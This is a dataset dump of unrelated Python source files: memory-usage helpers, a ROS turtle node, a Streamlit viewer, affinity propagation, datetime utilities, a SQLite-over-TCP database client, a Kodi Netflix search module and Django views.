content
stringlengths
0
894k
type
stringclasses
2 values
import numpy as np import time import torch from torch.autograd import Variable def get_proc_memory_info(): try: import os, psutil, subprocess process = psutil.Process(os.getpid()) percentage = process.memory_percent() memory = process.memory_info()[0] / float(2 ** 30) return {"mem" : memory, "usage" : percentage} except Exception: return 0. def get_cuda_memory_info(): """ Get the current gpu usage. Returns ------- usage: dict Keys are device ids as integers. Values are memory usage as integers in MB. """ try: import os, psutil, subprocess if torch.cuda.is_available() == False: return 0. result = subprocess.check_output( [ 'nvidia-smi', '--query-gpu=memory.used', '--format=csv,nounits,noheader' ]).decode('utf-8') # Convert lines into a dictionary gpu_memory = [int(x) for x in result.strip().split('\n')] gpu_memory_map = dict(zip(range(len(gpu_memory)), gpu_memory)) return gpu_memory_map except Exception: return 0.
python
#! /usr/bin/env python import rospy, sys, math, time from geometry_msgs.msg import Twist from turtlesim.msg import Pose # CONSTANTS NODE_NAME = "turntoN" VEL_TOPIC = "turtle1/cmd_vel" POSE_TOPIC = "turtle1/pose" DTRF = math.pi / 180 # Degrees to Radians Conversion Factor # GLOBALS vel_pub = None pose_sub = None cpos = None # callback for POSE_TOPIC def pose_callback(msg): global cpos cpos = msg # setup this node def setup(): rospy.init_node(NODE_NAME) global vel_pub, pose_sub vel_pub = rospy.Publisher(VEL_TOPIC, Twist, queue_size=1) pose_sub = rospy.Subscriber(POSE_TOPIC, Pose, pose_callback, queue_size=1) def stop_robot(): vel_msg = Twist() vel_pub.publish(vel_msg) #turn by a specific angle radians with given speed def turn(radians: float, speed: float) -> None: stop_robot() rospy.wait_for_message(POSE_TOPIC, Pose) loop_freq = 20 loop_rate = rospy.Rate(loop_freq) speed = abs(speed) cclk = True if radians > 0 else False radians = abs(radians) loop_dur = loop_freq**-1 total_time = radians / speed loop_count = 0 while loop_count * loop_dur < total_time: loop_count += 1 loop_count -= 1 rem_time = total_time - loop_count * loop_dur vel_msg = Twist() vel_msg.angular.z = speed if cclk else -speed while loop_count: vel_pub.publish(vel_msg) loop_count -= 1 loop_rate.sleep() vel_pub.publish(vel_msg) time.sleep(rem_time) vel_msg.angular.z = 0 vel_pub.publish(vel_msg) #turnto specific angle in radians def turntor(radians: float, speed: float, log: bool = False) -> None: stop_robot() rospy.wait_for_message(POSE_TOPIC, Pose) angle_to_traverse = radians - cpos.theta while angle_to_traverse > math.pi: angle_to_traverse -= 2 * math.pi while angle_to_traverse < -math.pi: angle_to_traverse += 2 * math.pi if(log): rospy.loginfo(f"[{NODE_NAME}] Command Recieved to turn the robot to {radians} radians with {speed} speed") choice = input("Enter any key to continue, abort to abort: ") if choice == "abort": rospy.loginfo(f"[{NODE_NAME}] Command aborted by user!") return None turn(angle_to_traverse, speed) if log: rospy.loginfo(f"[{NODE_NAME}] turntor command completed!") if __name__ == "__main__": print("Debugging") usage = f"{sys.argv[0]} degree speed" if len(sys.argv) != 3: print(usage) sys.exit(1) setup() turntor(DTRF * float(sys.argv[1]), DTRF * float(sys.argv[2]), True)
python
import streamlit as st import pandas as pd @st.cache def get_data(): return(pd.read_csv('https://raw.githubusercontent.com/SaskOpenData/covid19-sask/master/data/cases-sk.csv')) st.header('Covid in Saskatchewan') st.write(get_data())
python
# -*- coding: utf-8 -*- # @Date : Sun Mar 18 20:24:37 2018 # @Author: Shaoze LUO # @Notes : Affinity Propagation import numpy as np def ap(s, iters=100): a = np.zeros_like(s) r = np.zeros_like(s) rows = s.shape[0] for _ in range(iters): tmp_as = a + s max_tmp_as = np.tile(tmp_as.max(1), (rows, 1)).T max_tmp_as[range(rows), tmp_as.argmax(1)] = tmp_as[ range(rows), tmp_as.argpartition(-2, 1)[:, -2]] r = s - max_tmp_as max_r = np.maximum(0, r) a = np.minimum(0, r.diagonal() + max_r.sum(0) - max_r.diagonal() - max_r) a[range(rows), range(rows)] = max_r.sum(0) - max_r.diagonal() return a, r def ap_raw(s, iters=100): a = np.zeros_like(s) r = np.zeros_like(s) rows = s.shape[0] for _ in range(iters): for i in range(rows): for k in range(rows): r[i, k] = s[i, k] - max([a[i, j] + s[i, j] for j in range(rows) if j != k]) for i in range(rows): for k in range(rows): a[i, k] = min(0, r[k, k] + sum([max(0, r[j, k]) for j in range(rows) if (j != i) and (j != k)])) a[i, i] = sum([max(0, r[j, i]) for j in range(rows) if j != i]) return a, r
python
import datetime def string_to_datetime(st): return datetime.datetime.strptime(st, "%Y-%m-%d %H:%M:%S") def datetime_to_datestr(st): return st.strftime("%Y-%m-%d") def datetime_to_string(st): return st.strftime("%Y-%m-%d %H:%M:%S") def transfer2time(it): return datetime.time().replace(hour=it[0], minute=it[1], second=it[2], microsecond=0) def addTime(tm, **kwargs): fulldate = datetime.datetime(100, 1, 1, tm.hour, tm.minute, tm.second) fulldate = fulldate + datetime.timedelta(**kwargs) return fulldate.time() def days_hours_minutes(td): """ 计算时长 :param td: datetime.timedelta :return: """ return td.days, td.seconds // 3600, (td.seconds // 60) % 60 def date2weekday(dtstr): """ 获取日期的星期X 星期一是0,星期天是6 """ return string_to_datetime(dtstr + ' 00:00:00').weekday() def show_timelist(timelist): ostr = [] for t in timelist: ostr.append(datetime_to_string(t)) return ','.join(ostr)
python
import metronome_loop def five_sec_prin(): print("five_sec") one_sec = metronome_loop.metronome(1000, lambda: print("one_sec")) five_sec = metronome_loop.metronome(5000, five_sec_prin) ten_sec = metronome_loop.metronome(10000) while True: one_sec.loop() five_sec.loop() if ten_sec.loop(): print("ten_sec")
python
# coding: utf-8 import sys import logging # {{ cookiecutter.project_name }} Modules from {{cookiecutter.project_slug}}._{{cookiecutter.project_slug}} import MyPublicClass log = logging.getLogger(__name__) def main() -> int: return MyPublicClass().run() if __name__ == '__main__': sys.exit(main())
python
# Copyright (c) 2012 - 2015 Lars Hupfeldt Nielsen, Hupfeldt IT # All rights reserved. This work is under a BSD license, see LICENSE.TXT. from __future__ import print_function import os, sys, re from os.path import join as jp here = os.path.abspath(os.path.dirname(__file__)) sys.path.extend([jp(here, '../../..'), jp(here, '../../demo')]) from jenkinsflow.test import cfg as test_cfg from jenkinsflow.unbuffered import UnBuffered sys.stdout = UnBuffered(sys.stdout) _file_name_subst = re.compile(r'(_jobs|_test)?\.py') def api(file_name, api_type, login=False, fixed_prefix=None, url_or_dir=None, fake_public_uri=None, invocation_class=None, username=None, password=None): """Factory to create either Mock or Wrap api""" base_name = os.path.basename(file_name).replace('.pyc', '.py') job_name_prefix = _file_name_subst.sub('', base_name) func_name = None func_num_params = 0 if fixed_prefix: job_name_prefix = fixed_prefix file_name = base_name elif '_test' in file_name: func_name = sys._getframe().f_back.f_code.co_name # pylint: disable=protected-access func_num_params = sys._getframe().f_back.f_code.co_argcount # pylint: disable=protected-access file_name = base_name func_name = func_name.replace('test_', '') assert func_name[0:len(job_name_prefix)] == job_name_prefix, \ "Naming standard not followed: " + repr('test_' + func_name) + " defined in file: " + repr(base_name) + " should be 'test_" + job_name_prefix + "_<sub test>'" job_name_prefix = 'jenkinsflow_test__' + func_name + '__' else: job_name_prefix = 'jenkinsflow_demo__' + job_name_prefix + '__' file_name = base_name.replace('_jobs', '') print() print("--- Preparing api for ", repr(job_name_prefix), "---") print('Using:', api_type) url_or_dir = url_or_dir or test_cfg.direct_url(api_type) reload_jobs = not test_cfg.skip_job_load() and not fixed_prefix pre_delete_jobs = not test_cfg.skip_job_delete() import demo_security as security if password is not None or username is not None: assert password is not None and username is not None login = True if username is None: assert password is None username = security.username password = security.password if api_type == test_cfg.ApiType.JENKINS: from .api_wrapper import JenkinsTestWrapperApi return JenkinsTestWrapperApi(file_name, func_name, func_num_params, job_name_prefix, reload_jobs, pre_delete_jobs, url_or_dir, fake_public_uri, username, password, security.securitytoken, login=login, invocation_class=invocation_class) if api_type == test_cfg.ApiType.SCRIPT: from .api_wrapper import ScriptTestWrapperApi return ScriptTestWrapperApi(file_name, func_name, func_num_params, job_name_prefix, reload_jobs, pre_delete_jobs, url_or_dir, fake_public_uri, username, password, security.securitytoken, login=login, invocation_class=invocation_class) if api_type == test_cfg.ApiType.MOCK: from .mock_api import MockApi return MockApi(job_name_prefix, test_cfg.speedup(), test_cfg.direct_url(api_type)) else: raise Exception("Unhandled api_type:" + repr(api_type))
python
#!/usr/bin/python3 # -*- coding: utf-8 -*- # Author: i2cy([email protected]) # Filename: i2cydbclient # Created on: 2021/5/29 import json from i2cylib.database.I2DB.i2cydbserver import ModLogger from i2cylib.utils.logger import * from i2cylib.utils.stdout import * from i2cylib.network.I2TCP_protocol.I2TCP_client import * from i2cylib.database.sqlite.sqlitedb import Sqlimit, SqlTable, SqlDtype from i2cylib.crypto.iccode import * from i2cylib.utils.bytes.random_bytesgen import * class SqliteDB: def __init__(self, host=None, dyn_key=None, logger=None): self.host = host self.database = None self.dyn_key = dyn_key if logger is None: logger = ModLogger(logger=Logger(), echo=Echo()) self.logger = logger self.autocommit = False self.cursors = [] self.head = "[I2DB]" self.encrypt_key = random_keygen(64) def _connection_check(self): if self.database is None: raise Exception("connection has not been built yet, " "you have to connect to a database first") def connect(self, host=None, watchdog_timeout=5, dyn_key=None, logger=None): if host is None: host = self.host if dyn_key is None: if self.dyn_key is None: dyn_key = "basic" else: dyn_key = self.dyn_key else: self.dyn_key = dyn_key if logger is None: logger = self.logger host = host.split(":") hostname = host[0] port = int(host[1]) self.database = I2TCPclient(hostname, port=port, key=dyn_key, logger=logger, watchdog_timeout=watchdog_timeout) coder = Iccode(self.dyn_key) data = coder.encode(self.encrypt_key) self.database.send(data) feedback = self.database.recv() coder = Iccode(self.encrypt_key) feedback = coder.decode(feedback) if feedback != self.encrypt_key: self.logger.ERROR("{} authentication failure".format(self.head)) self.database.reset() self.database = None def switch_autocommit(self): self._connection_check() try: coder = Iccode(self.encrypt_key) cmd = {"type": "db", "table": "", "cmd": "switch_autocommit", "args": ""} cmd = json.dumps(cmd).encode("utf-8") cmd = coder.encode(cmd) self.database.send(cmd) feedback = self.database.recv().decode("utf-8") feedback = json.loads(feedback) if feedback == True: self.autocommit = True elif feedback == False: self.autocommit = False else: raise Exception("feedback {}".format(feedback)) except Exception as err: self.logger.ERROR("{} failed to switch autocommit mode on/off," "{}".format(self.head, err)) return self.autocommit def create_table(self, table_object): self._connection_check() if not isinstance(table_object, SqlTable): raise TypeError("table_object must be an SqlTable object") try: coder = Iccode(self.encrypt_key) cmd = {"type": "db", "table": "", "cmd": "switch_autocommit", "args": {"name": table_object.name, "table": table_object.table}} cmd = json.dumps(cmd).encode("utf-8") cmd = coder.encode(cmd) self.database.send(cmd) feedback = self.database.recv().decode("utf-8") feedback = json.loads(feedback) if feedback == "OK": pass else: raise Exception("feedback {}".format(feedback)) except Exception as err: self.logger.ERROR("{} failed to create table," "{}".format(self.head, err)) def drop_table(self, table_name): self._connection_check() try: coder = Iccode(self.encrypt_key) cmd = {"type": "db", "table": "", "cmd": "drop_table", "args": table_name} cmd = json.dumps(cmd).encode("utf-8") cmd = coder.encode(cmd) self.database.send(cmd) feedback = self.database.recv().decode("utf-8") feedback = json.loads(feedback) if feedback == "OK": pass else: raise Exception("feedback {}".format(feedback)) except Exception as err: self.logger.ERROR("{} failed to drop table," "{}".format(self.head, err)) def list_all_tables(self): self._connection_check() feedback = None try: coder = Iccode(self.encrypt_key) cmd = {"type": "db", "table": "", "cmd": "list_all_tables", "args": ""} cmd = json.dumps(cmd).encode("utf-8") cmd = coder.encode(cmd) self.database.send(cmd) feedback = self.database.recv().decode("utf-8") feedback = json.loads(feedback) if isinstance(feedback, list): pass else: raise Exception("feedback {}".format(feedback)) except Exception as err: self.logger.ERROR("{} failed to get all table name," "{}".format(self.head, err)) return feedback def select_table(self, table_name): table_name = table_name.upper() self._connection_check() if not table_name in self.list_all_tables(): raise Exception("cannot find table \"{}\" in database".format(table_name)) ret = SqliteTableCursor(self, table_name) return ret def undo(self): self._connection_check() if self.autocommit: raise Exception("cannot undo since the autocommit mode is on") try: coder = Iccode(self.encrypt_key) cmd = {"type": "db", "table": "", "cmd": "undo", "args": ""} cmd = json.dumps(cmd).encode("utf-8") cmd = coder.encode(cmd) self.database.send(cmd) feedback = self.database.recv().decode("utf-8") feedback = json.loads(feedback) if feedback == "OK": pass else: raise Exception("feedback {}".format(feedback)) except Exception as err: self.logger.ERROR("{} failed to undo," "{}".format(self.head, err)) def commit(self): self._connection_check() try: coder = Iccode(self.encrypt_key) cmd = {"type": "db", "table": "", "cmd": "commit", "args": ""} cmd = json.dumps(cmd).encode("utf-8") cmd = coder.encode(cmd) self.database.send(cmd) feedback = self.database.recv().decode("utf-8") feedback = json.loads(feedback) if feedback == "OK": pass else: raise Exception("feedback {}".format(feedback)) except Exception as err: self.logger.ERROR("{} failed to commit," "{}".format(self.head, err)) def close(self): self._connection_check() self.commit() try: self.autocommit = False coder = Iccode(self.encrypt_key) cmd = {"type": "db", "table": "", "cmd": "close", "args": ""} cmd = json.dumps(cmd).encode("utf-8") cmd = coder.encode(cmd) self.database.send(cmd) feedback = self.database.recv().decode("utf-8") feedback = json.loads(feedback) if feedback == "OK": pass else: raise Exception("feedback {}".format(feedback)) except Exception as err: self.logger.ERROR("{} failed to close," "{}".format(self.head, err)) return False self.database.reset() self.database = None return True class SqliteTableCursor: def __init__(self, upper, table_name): self.upper = upper self.database = self.upper.database self.encrypt_key = self.upper.encrypt_key self.logger = self.upper.logger self.name = table_name self.table_info = None self.length = 0 self.get_table_info() self.offset = 0 self.head = "[I2DB] [{}]".format(self.name) def __len__(self): feedback = self.length try: self.autocommit = False coder = Iccode(self.encrypt_key) cmd = {"type": "tb", "table": self.name, "cmd": "__len__", "args": ""} cmd = json.dumps(cmd).encode("utf-8") cmd = coder.encode(cmd) self.database.send(cmd) feedback = self.database.recv().decode("utf-8") feedback = json.loads(feedback) if isinstance(feedback, int): pass else: raise Exception("feedback {}".format(feedback)) self.length = feedback except Exception as err: self.logger.ERROR("{} failed to get table length," "{}".format(self.head, err)) return feedback def __iter__(self): self.__len__() return self def __next__(self): ret = None if self.offset >= self.length: raise StopIteration try: self.autocommit = False coder = Iccode(self.encrypt_key) cmd = {"type": "tb", "table": self.name, "cmd": "__getitem__", "args": self.offset} cmd = json.dumps(cmd).encode("utf-8") cmd = coder.encode(cmd) self.database.send(cmd) feedback = self.database.recv().decode("utf-8") feedback = json.loads(feedback) if isinstance(feedback, str): raise Exception("feedback {}".format(feedback)) ret = feedback self.offset += 1 except Exception as err: self.logger.ERROR("{} failed to get data," "{}".format(self.head, err)) return ret def __getitem__(self, item): valid = isinstance(item, int) or isinstance(item, slice) if not valid: raise KeyError("index must be integrate or slices") ret = None try: self.autocommit = False coder = Iccode(self.encrypt_key) args = item if isinstance(item, slice): args = [item.start, item.stop, item.step] cmd = {"type": "tb", "table": self.name, "cmd": "__getitem__", "args": args} cmd = json.dumps(cmd).encode("utf-8") cmd = coder.encode(cmd) self.database.send(cmd) feedback = self.database.recv().decode("utf-8") feedback = json.loads(feedback) if isinstance(feedback, str): raise Exception("feedback {}".format(feedback)) ret = feedback except Exception as err: self.logger.ERROR("{} failed to get data," "{}".format(self.head, err)) return ret def __setitem__(self, key, value): if not isinstance(key, int): raise KeyError("index must be integrate") try: self.autocommit = False coder = Iccode(self.encrypt_key) args = {"key": key, "value": value} cmd = {"type": "tb", "table": self.name, "cmd": "__getitem__", "args": args} cmd = json.dumps(cmd).encode("utf-8") cmd = coder.encode(cmd) self.database.send(cmd) feedback = self.database.recv().decode("utf-8") feedback = json.loads(feedback) if not feedback == "OK": raise Exception("feedback {}".format(feedback)) except Exception as err: self.logger.ERROR("{} failed to set data," "{}".format(self.head, err)) def seek(self, offset): if offset < 0: offset = len(self) + offset self.offset = offset def undo(self): if self.upper.autocommit: raise Exception("cannot undo since the autocommit mode is on") self.length = None def _data2sqlstr(self, data): key = None if isinstance(data, int): key = str(data) if isinstance(data, float): key = str(data) if isinstance(data, str): key = "'{}'".format(data) if isinstance(data, bool): key = str(int(data)) return key def get_table_info(self): cursor = self.upper.database.cursor() cursor.execute("PRAGMA table_info({})".format(self.name)) data = cursor.fetchall() ret = [] for ele in data: ret.append({"ID": ele[0], "name": ele[1].upper(), "is_primary_key": bool(ele[5]), "dtype": ele[2].upper(), "is_not_null": bool(ele[3])}) self.table_info = ret cursor.close() return ret def append(self, data): cursor = self.upper.database.cursor() columns = "" for ele in data: if isinstance(ele, bool): columns += "{}, ".format(int(ele)) continue if isinstance(ele, int): columns += "{}, ".format(ele) continue if isinstance(ele, str): columns += "'{}', ".format(ele) continue if isinstance(ele, float): columns += "{}, ".format(ele) continue if len(columns) == 0: cursor.close() return columns = columns[:-2] cmd = "INSERT INTO {} VALUES ({});".format(self.name, columns) cursor.execute(cmd) self.upper._auto_commit() cursor.close() self.length += 1 def empty(self): # delete all values in table cursor = self.upper.database.cursor() cmd = "DELETE FROM {}".format(self.name) cursor.execute(cmd) self.upper._auto_commit() cursor.close() # index_name can be automatically set as the primary key in table. # Or you can define it as it follows the SQLite3 WHERE logic def pop(self, key, primary_index_column=None): cursor = self.upper.database.cursor() if primary_index_column is None: primary_key = None for ele in self.table_info: if ele["is_primary_key"]: primary_key = ele["name"] break if primary_key is None: cursor.close() raise KeyError("no primary key defined in table," " input index_name manually") primary_index_column = primary_key key = self._data2sqlstr(key) cmd = "DELETE FROM {} WHERE {}={};".format(self.name, primary_index_column, key) cursor.execute(cmd) self.upper._auto_commit() cursor.close() def get(self, key=None, column_name="*", primary_index_column=None, orderby=None, asc_order=True): cursor = self.upper.database.cursor() if asc_order: order = "ASC" else: order = "DESC" if primary_index_column is None and not key is None: primary_key = None for ele in self.table_info: if ele["is_primary_key"]: primary_key = ele["name"] break if primary_key is None: cursor.close() raise KeyError("no primary key defined in table," " input primary_index_column manually") primary_index_column = primary_key if orderby is None: if primary_index_column is None: orderby = self.table_info[0]["name"] else: orderby = primary_index_column if key is None: cmd = "SELECT {} from {} ORDER BY {} {}".format(column_name, self.name, orderby, order ) elif isinstance(key, tuple): if len(key) != 2: cursor.close() raise KeyError("index range tuple must have 2 elements") cmd = "SELECT {} from {} WHERE {} BETWEEN {} AND {} ORDER BY {} {}".format(column_name, self.name, primary_index_column, self._data2sqlstr(key[0]), self._data2sqlstr(key[1]), orderby, order) elif isinstance(key, list): if len(key) < 1: cursor.close() raise KeyError("index element list must have at least 1 element") key_str = "" for ele in key: key_str += "{}, ".format(self._data2sqlstr(ele)) key_str = key_str[:-2] cmd = "SELECT {} from {} WHERE {} IN ({}) ORDER BY {} {}".format(column_name, self.name, primary_index_column, key_str, orderby, order) else: key = self._data2sqlstr(key) cmd = "SELECT {} FROM {} WHERE {}={} ORDER BY {} {}".format(column_name, self.name, primary_index_column, key, orderby, order ) cursor.execute(cmd) ret = cursor.fetchall() cursor.close() return ret def update(self, data, index_key=None, column_names=None, primary_index_column=None): cursor = self.upper.database.cursor() cmd = "UPDATE {} SET ".format(self.name) if column_names is None: column_names = [ele["name"] for ele in self.table_info] if not isinstance(column_names, list): column_names = [column_names] valid = isinstance(data, list) or isinstance(data, tuple) if not valid: data = [data] if len(data) == 0: return for i, ele in enumerate(data): if i >= len(column_names): break ele = self._data2sqlstr(ele) cmd += "{}={}, ".format(column_names[i], ele) cmd = cmd[:-2] if not index_key is None: if primary_index_column is None: primary_key = None for ele in self.table_info: if ele["is_primary_key"]: primary_key = ele["name"] break if primary_key is None: raise KeyError("no primary key defined in table," " input primary_index_column manually") primary_index_column = primary_key index_key = self._data2sqlstr(index_key) cmd += " WHERE {}={}".format(primary_index_column, index_key) cursor.execute(cmd) self.upper._auto_commit() cursor.close()
python
# -*- coding: utf-8 -*- """ Copyright (C) 2017 Sebastian Golasch (plugin.video.netflix) Copyright (C) 2020 Stefano Gottardo (original implementation module) Navigation for search menu SPDX-License-Identifier: MIT See LICENSES/MIT.md for more information. """ from copy import deepcopy import xbmcgui import xbmcplugin import resources.lib.utils.api_requests as api from resources.lib import common from resources.lib.globals import G from resources.lib.kodi import ui from resources.lib.kodi.context_menu import generate_context_menu_searchitem from resources.lib.navigation.directory_utils import (finalize_directory, end_of_directory, custom_viewmode, get_title) from resources.lib.utils.logging import LOG, measure_exec_time_decorator # The search types allows you to provide a modular structure to the search feature, # in this way you can add new/remove types of search in a simple way. # To add a new type: add the new type name to SEARCH_TYPES, then implement the new type to search_add/search_query. SEARCH_TYPES = ['text', 'audio_lang', 'subtitles_lang', 'genre_id'] SEARCH_TYPES_DESC = { 'text': common.get_local_string(30410), 'audio_lang': common.get_local_string(30411), 'subtitles_lang': common.get_local_string(30412), 'genre_id': common.get_local_string(30413) } def route_search_nav(pathitems, perpetual_range_start, dir_update_listing, params): if 'query' in params: path = 'query' else: path = pathitems[2] if len(pathitems) > 2 else 'list' LOG.debug('Routing "search" navigation to: {}', path) ret = True if path == 'list': search_list() elif path == 'add': ret = search_add() elif path == 'edit': search_edit(params['row_id']) elif path == 'remove': search_remove(params['row_id']) elif path == 'clear': ret = search_clear() elif path == 'query': # Used to make a search by text from a JSON-RPC request # without save the item to the add-on database # Endpoint: plugin://plugin.video.netflix/directory/search/search/?query=something ret = exec_query(None, 'text', None, params['query'], perpetual_range_start, dir_update_listing, {'query': params['query']}) else: ret = search_query(path, perpetual_range_start, dir_update_listing) if not ret: xbmcplugin.endOfDirectory(G.PLUGIN_HANDLE, succeeded=False) def search_list(dir_update_listing=False): """Show the list of search item (main directory)""" dir_items = [_create_diritem_from_row(row) for row in G.LOCAL_DB.get_search_list()] dir_items.insert(0, _get_diritem_add()) dir_items.append(_get_diritem_clear()) sort_type = 'sort_nothing' if G.ADDON.getSettingInt('menu_sortorder_search_history') == 1: sort_type = 'sort_label_ignore_folders' finalize_directory(dir_items, G.CONTENT_FOLDER, sort_type, common.get_local_string(30400)) end_of_directory(dir_update_listing) def search_add(): """Perform actions to add and execute a new research""" # Ask to user the type of research search_types_desc = [SEARCH_TYPES_DESC.get(stype, 'Unknown') for stype in SEARCH_TYPES] type_index = ui.show_dlg_select(common.get_local_string(30401), search_types_desc) if type_index == -1: # Cancelled return False # If needed ask to user other info, then save the research to the database search_type = SEARCH_TYPES[type_index] row_id = None if search_type == 'text': search_term = ui.ask_for_search_term() if search_term and search_term.strip(): row_id = G.LOCAL_DB.insert_search_item(SEARCH_TYPES[type_index], search_term.strip()) elif search_type == 'audio_lang': row_id = _search_add_bylang(SEARCH_TYPES[type_index], api.get_available_audio_languages()) elif search_type == 'subtitles_lang': row_id = _search_add_bylang(SEARCH_TYPES[type_index], api.get_available_subtitles_languages()) elif search_type == 'genre_id': genre_id = ui.show_dlg_input_numeric(search_types_desc[type_index], mask_input=False) if genre_id: row_id = _search_add_bygenreid(SEARCH_TYPES[type_index], genre_id) else: raise NotImplementedError(f'Search type index {type_index} not implemented') # Redirect to "search" endpoint (otherwise no results in JSON-RPC) # Rewrite path history using dir_update_listing + container_update # (otherwise will retrigger input dialog on Back or Container.Refresh) if row_id is not None and search_query(row_id, 0, False): url = common.build_url(['search', 'search', row_id], mode=G.MODE_DIRECTORY, params={'dir_update_listing': True}) common.container_update(url, False) return True return False def _search_add_bylang(search_type, dict_languages): search_type_desc = SEARCH_TYPES_DESC.get(search_type, 'Unknown') title = f'{search_type_desc} - {common.get_local_string(30405)}' index = ui.show_dlg_select(title, list(dict_languages.values())) if index == -1: # Cancelled return None lang_code = list(dict_languages.keys())[index] lang_desc = list(dict_languages.values())[index] # In this case the 'value' is used only as title for the ListItem and not for the query value = f'{search_type_desc}: {lang_desc}' row_id = G.LOCAL_DB.insert_search_item(search_type, value, {'lang_code': lang_code}) return row_id def _search_add_bygenreid(search_type, genre_id): # If the genre ID exists, the title of the list will be returned title = api.get_genre_title(genre_id) if not title: ui.show_notification(common.get_local_string(30407)) return None # In this case the 'value' is used only as title for the ListItem and not for the query title += f' [{genre_id}]' row_id = G.LOCAL_DB.insert_search_item(search_type, title, {'genre_id': genre_id}) return row_id def search_edit(row_id): """Edit a search item""" search_item = G.LOCAL_DB.get_search_item(row_id) search_type = search_item['Type'] ret = False if search_type == 'text': search_term = ui.ask_for_search_term(search_item['Value']) if search_term and search_term.strip(): G.LOCAL_DB.update_search_item_value(row_id, search_term.strip()) ret = True if not ret: return common.container_update(common.build_url(['search', 'search', row_id], mode=G.MODE_DIRECTORY)) def search_remove(row_id): """Remove a search item""" LOG.debug('Removing search item with ID {}', row_id) G.LOCAL_DB.delete_search_item(row_id) common.json_rpc('Input.Down') # Avoids selection back to the top common.container_refresh() def search_clear(): """Clear all search items""" if not ui.ask_for_confirmation(common.get_local_string(30404), common.get_local_string(30406)): return False G.LOCAL_DB.clear_search_items() common.container_refresh() return True @measure_exec_time_decorator() def search_query(row_id, perpetual_range_start, dir_update_listing): """Perform the research""" # Get item from database search_item = G.LOCAL_DB.get_search_item(row_id) if not search_item: ui.show_error_info('Search error', 'Item not found in the database.') return False # Update the last access data (move on top last used items) if not perpetual_range_start: G.LOCAL_DB.update_search_item_last_access(row_id) return exec_query(row_id, search_item['Type'], search_item['Parameters'], search_item['Value'], perpetual_range_start, dir_update_listing) def exec_query(row_id, search_type, search_params, search_value, perpetual_range_start, dir_update_listing, path_params=None): menu_data = deepcopy(G.MAIN_MENU_ITEMS['search']) if search_type == 'text': call_args = { 'menu_data': menu_data, 'search_term': search_value, 'pathitems': ['search', 'search', row_id] if row_id else ['search', 'search'], 'path_params': path_params, 'perpetual_range_start': perpetual_range_start } dir_items, extra_data = common.make_call('get_video_list_search', call_args) elif search_type == 'audio_lang': menu_data['query_without_reference'] = True call_args = { 'menu_data': menu_data, 'pathitems': ['search', 'search', row_id], 'perpetual_range_start': perpetual_range_start, 'context_name': 'spokenAudio', 'context_id': common.convert_from_string(search_params, dict)['lang_code'] } dir_items, extra_data = common.make_call('get_video_list_sorted_sp', call_args) elif search_type == 'subtitles_lang': menu_data['query_without_reference'] = True call_args = { 'menu_data': menu_data, 'pathitems': ['search', 'search', row_id], 'perpetual_range_start': perpetual_range_start, 'context_name': 'subtitles', 'context_id': common.convert_from_string(search_params, dict)['lang_code'] } dir_items, extra_data = common.make_call('get_video_list_sorted_sp', call_args) elif search_type == 'genre_id': call_args = { 'menu_data': menu_data, 'pathitems': ['search', 'search', row_id], 'perpetual_range_start': perpetual_range_start, 'context_name': 'genres', 'context_id': common.convert_from_string(search_params, dict)['genre_id'] } dir_items, extra_data = common.make_call('get_video_list_sorted_sp', call_args) else: raise NotImplementedError(f'Search type {search_type} not implemented') # Show the results if not dir_items: ui.show_notification(common.get_local_string(30407)) return False _search_results_directory(search_value, menu_data, dir_items, extra_data, dir_update_listing) return True @custom_viewmode(G.VIEW_SHOW) def _search_results_directory(search_value, menu_data, dir_items, extra_data, dir_update_listing): extra_data['title'] = f'{common.get_local_string(30400)} - {search_value}' finalize_directory(dir_items, menu_data.get('content_type', G.CONTENT_SHOW), title=get_title(menu_data, extra_data)) end_of_directory(dir_update_listing) return menu_data.get('view') def _get_diritem_add(): """Generate the "add" menu item""" list_item = xbmcgui.ListItem(label=common.get_local_string(30403), offscreen=True) list_item.setArt({'icon': 'DefaultAddSource.png'}) list_item.setProperty('specialsort', 'top') # Force an item to stay on top return common.build_url(['search', 'search', 'add'], mode=G.MODE_DIRECTORY), list_item, True def _get_diritem_clear(): """Generate the "clear" menu item""" list_item = xbmcgui.ListItem(label=common.get_local_string(30404), offscreen=True) list_item.setArt({'icon': 'icons\\infodialogs\\uninstall.png'}) list_item.setProperty('specialsort', 'bottom') # Force an item to stay on bottom # This ListItem is not set as folder so that the executed command is not added to the history return common.build_url(['search', 'search', 'clear'], mode=G.MODE_DIRECTORY), list_item, False def _create_diritem_from_row(row): row_id = str(row['ID']) search_desc = common.get_local_string(30401) + ': ' + SEARCH_TYPES_DESC.get(row['Type'], 'Unknown') list_item = xbmcgui.ListItem(label=row['Value'], offscreen=True) list_item.setInfo('video', {'plot': search_desc}) list_item.addContextMenuItems(generate_context_menu_searchitem(row_id, row['Type'])) return common.build_url(['search', 'search', row_id], mode=G.MODE_DIRECTORY), list_item, True
python
from django.contrib.auth.mixins import LoginRequiredMixin from django.db.models import Q from django.urls import reverse_lazy from django.views import generic from parts.app.arrival.models import PartsArrival from parts.app.mixins.common_mixins import PartsArrivalMixins from parts.core.forms import PartsArrivalForm class PartsArrivalListView(PartsArrivalMixins, generic.ListView): template_name = "arrival/index.html" model = PartsArrival paginate_by = 3 class PartsArrivalCreateView(PartsArrivalMixins, generic.CreateView): template_name = "arrival/add_arrival.html" form_class = PartsArrivalForm success_url = reverse_lazy("arrival:arrival_create") messages = "added" def get_context_data(self, **kwargs): context = super(PartsArrivalCreateView, self).get_context_data( **kwargs) context["arrival"] = PartsArrival.objects.all() return context class PartsArrivalUpdateView(PartsArrivalMixins, generic.UpdateView): template_name = "arrival/add_arrival.html" form_class = PartsArrivalForm success_url = reverse_lazy("arrival:arrival_index") messages = "updated" def get_object(self, query_pk_and_slug=None): query = PartsArrival.objects.filter(id=self.kwargs["pk"]).first() return query class PartsArrivalDetailView(LoginRequiredMixin, generic.DetailView): template_name = "arrival/read_view.html" model = PartsArrival context_object_name = "arrival" def get_object(self, query_pk_and_slug=None): query = PartsArrival.objects.filter(id=self.kwargs["pk"]).first() return query class SearchArrivalROView(LoginRequiredMixin, generic.ListView): template_name = "arrival/index.html" model = PartsArrival paginate_by = 2 def get_queryset(self): query = self.request.GET.get("q") object_list = PartsArrival.objects.filter( Q(ro_number__icontains=query) ) return object_list
python
